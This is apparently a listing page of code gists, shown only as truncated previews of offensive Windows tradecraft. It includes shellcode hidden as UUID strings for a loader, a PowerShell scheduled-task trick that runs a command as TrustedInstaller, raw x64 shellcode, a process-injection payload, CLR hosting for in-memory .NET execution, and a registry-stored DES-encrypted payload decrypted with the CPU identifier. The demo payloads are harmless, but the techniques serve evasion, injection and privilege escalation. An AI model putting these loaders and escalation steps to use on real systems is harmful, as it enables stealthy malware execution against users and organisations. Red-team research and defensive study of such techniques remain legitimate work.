This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <Rpc.h> | |
#include <iostream> | |
#pragma comment(lib, "Rpcrt4.lib") | |
const char* uuids[] = | |
{ | |
"6850c031-6163-636c-5459-504092741551", | |
"2f728b64-768b-8b0c-760c-ad8b308b7e18", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-PEMetaData { | |
[CmdletBinding()] | |
param($Path) | |
try { | |
$FullPath = Resolve-Path -Path $Path -ErrorAction Stop | |
try { | |
$Null = [Reflection.AssemblyName]::GetAssemblyName($FullPath) | |
$Signature = Get-AuthenticodeSignature -FilePath $FullPath -ErrorAction SilentlyContinue |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$task = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c calc" | |
Register-ScheduledTask -TaskName "TestMe" -Action $task | |
$com.Connect() | |
$user = "NT SERVICE\TrustedInstaller" | |
$folder = $com.GetFolder('\') | |
$t = $folder.GetTask('TestMe') | |
$t.RunEx($null,0,0,$user) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
#include <Windows.h> | |
// messagebox(x64) shellcode | |
unsigned char shellcode[] = | |
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51" | |
"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48" | |
"\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48" | |
"\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02" | |
"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <string> | |
void job() { | |
TCHAR szExeFileName[MAX_PATH]; | |
GetModuleFileName(NULL, szExeFileName, MAX_PATH); | |
std::wstring exeName = szExeFileName; | |
int pos = exeName.find_last_of(L"\\"); | |
exeName = exeName.substr(pos + 1, exeName.length()); | |
std::wstring message = L"Injected in " + exeName + L" (PID " + std::to_wstring(GetCurrentProcessId()) + L")"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <metahost.h> | |
#pragma comment(lib, "mscoree.lib") | |
int main(int argc, wchar_t* argv[]) | |
{ | |
HRESULT hr; | |
ICLRMetaHost *pMetaHost = NULL; | |
ICLRRuntimeInfo *pRuntimeInfo = NULL; | |
ICLRRuntimeHost *pClrRuntimeHost = NULL; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$CPU = (Get-ItemProperty HKLM:\HARDWARE\DESCRIPTION\System\CentralProcessor\0\).Identifier | |
$value = ls "Registry::HKEY_CLASSES_ROOT\$CPU*" | |
$key = [System.Text.Encoding]::UTF8.GetBytes([System.Text.Encoding]::UTF8.GetString($CPU.Substring(0,8))) | |
$iv = $key | |
$provider = New-Object System.Security.Cryptography.DESCryptoServiceProvider | |
$provider.Mode = [System.Security.Cryptography.CipherMode]::CBC | |
$provider.Padding = [System.Security.Cryptography.PaddingMode]::None | |
$decryptor = $provider.CreateDecryptor($key, $iv) |